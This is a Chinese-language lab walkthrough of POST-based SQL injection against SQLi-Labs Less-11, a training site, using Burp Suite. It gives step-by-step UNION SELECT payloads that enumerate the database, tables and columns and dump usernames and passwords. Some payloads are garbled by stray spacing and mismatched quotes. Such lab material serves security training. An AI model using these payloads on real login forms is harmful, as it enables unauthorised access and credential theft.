访问SQLi-Labs网站
在攻击机 Pentest-Atk 打开FireFox浏览器,并访问靶机A-SQLi-Labs 上的SQLi-Labs网站Less-11。访问的URL为http: //[靶机IP]/sqli-labs/ Less-11/
利用Burpsuite 工具抓包
启动 Burpsuite在攻击机 Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。
将 Burpsuite工具拦截到的HTTP请求包发送至 Repeater模块。选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择"Sto Repeater",将其发送给 Burpsuite 的Repeater模块。
发送成功后,在 Burpsuite的 Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容
寻找注入点
在POST表单处,分别使用以下2条payload寻找注入点及判断注入点的类型:
uname=a dmin'&pas swd=1&submit=Submit报错
uname=admin " # &passwd=1&submit=Submit目标正常回显用户名和密码
判断网站查询的字段数
尝试使用以下payload获取网站查询的字段数(关键字order by) :uname=a dmin' order by 1#&passwd=1&s ubmit=Submit目标正常回显用户名和密码!
正常显示用户名密码
Order by 2 也是正常显示
Order by 3 显示报错
由此可见,网站查询字段数为2
获取网站当前所在数据库的库名
利用以下 payload获取网站当前所在数据库的库名:uname=admin' and 1=2 union select 1,database()#&passwd=1&submit=Submit显示结果为security.
获取数据库security 的全部表名
使用以下payload获取数据库security 的全部表名:uname=admin' and 1=2 union select 1,group_concat(table_name) frominformation_schema.tables wheretable_schema= 'security ' #&pas swd=1&submit=Submit显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
获取users表的全部字段名
使用以下payload获取users表的全部字段名:uname=admin' and 1=2 union select 1,group_concat(column_name)infrominformation_schema.columnswheretable_schema="security" and table_name="users '#&passwd=1&submit=Submit 显示结果,users表中有id、username和l password三个字段。
获取users表id、username和l password字段的全部值。
由于users 表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如
显示第1组数据
uname=admin’ and 1=2 union select 1,concat_ws( ' , , id,username , password) fromsecurity.users limit 0,1#&passwd=1&submit=Submit显示结果为Dump,Dump。
显示第2组数据
uname=admin' and 1=2 union select 1,concat_ws( ' , ' , id,username , password) fromsecurity.users limit 1,1#&passwd=1&submit=Submit显示结果为Angelina,I-kill-you.
显示第3组数据
uname=admin' and 1=2 union select 1,concat_ws( ' , ' , id, username, password) fromsecurity.users limit 2,1#&passwd=1&submit=Submit显示结果为 Dummy.p@ssword。